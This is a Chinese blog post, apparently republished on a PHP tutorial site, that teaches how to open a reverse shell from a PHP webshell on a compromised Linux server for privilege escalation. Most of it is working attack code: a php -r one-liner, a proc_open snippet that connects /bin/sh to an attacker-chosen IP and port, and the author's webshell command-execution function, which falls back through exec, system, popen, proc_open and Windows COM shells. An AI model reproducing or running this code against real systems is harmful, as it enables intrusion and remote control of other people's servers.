php教程 php手册 php webshell下直接反弹shell(不借助任何其他语言)

php webshell下直接反弹shell(不借助任何其他语言)

Jun 06, 2016 pm 08:13 PM
php shell webshell

linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。 我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。 在我收集的反弹she

    linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

    我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

    在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
로그인 후 복사
    但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。


    当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
로그인 후 복사
    其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:


    38.jpg

    反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

    不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

    39.jpg

    具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。


    另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
    set_error_handler("customError");
    $re = false;
    if (empty($cmd))  return '执行结果';
    if (empty($type)){
        if(function_exists('exec')){
            @exec($cmd, $re);
            $re = join("\n", $re);
            $type = 'exec';
        }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
            $type = 'shell_exec';
        }else if(function_exists('system')){
            @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'system';
        }else if(function_exists('passthru')){
            @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'passthru';
        }else if(is_resource($f = popen($cmd,"r"))){
            while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
            $type = 'popen';
        }else if(function_exists('proc_open')){
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
             );
            $process = proc_open($cmd, $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], "{$cmd}\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                // 读取输出
                while (!feof($pipes[1])) {
                    $re .= fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    $re .= fgets($pipes[2], 1024);
                  }
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }else if($type == 'wscript'){
        $s= new COM('wscript.shell');
        $exec = $s->exec($cmd);
        $stdout = $exec->StdOut();
        $re = $stdout->ReadAll();
    }else if($type == 'application'){
        $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
        $shell= new COM('Shell.Application');
        $shell->ShellExecute($exe,$cmd);
        $re = "请查看{$cmd}中输入文件内容\n";
    }
    if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
    return $re;
}
로그인 후 복사
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

뜨거운 기사 태그

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Dec 24, 2024 pm 04:42 PM

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드

CakePHP 날짜 및 시간 CakePHP 날짜 및 시간 Sep 10, 2024 pm 05:27 PM

CakePHP 날짜 및 시간

CakePHP 프로젝트 구성 CakePHP 프로젝트 구성 Sep 10, 2024 pm 05:25 PM

CakePHP 프로젝트 구성

CakePHP 파일 업로드 CakePHP 파일 업로드 Sep 10, 2024 pm 05:27 PM

CakePHP 파일 업로드

CakePHP 라우팅 CakePHP 라우팅 Sep 10, 2024 pm 05:25 PM

CakePHP 라우팅

CakePHP 토론 CakePHP 토론 Sep 10, 2024 pm 05:28 PM

CakePHP 토론

CakePHP 빠른 가이드 CakePHP 빠른 가이드 Sep 10, 2024 pm 05:27 PM

CakePHP 빠른 가이드

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 Dec 20, 2024 am 11:31 AM

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법

See all articles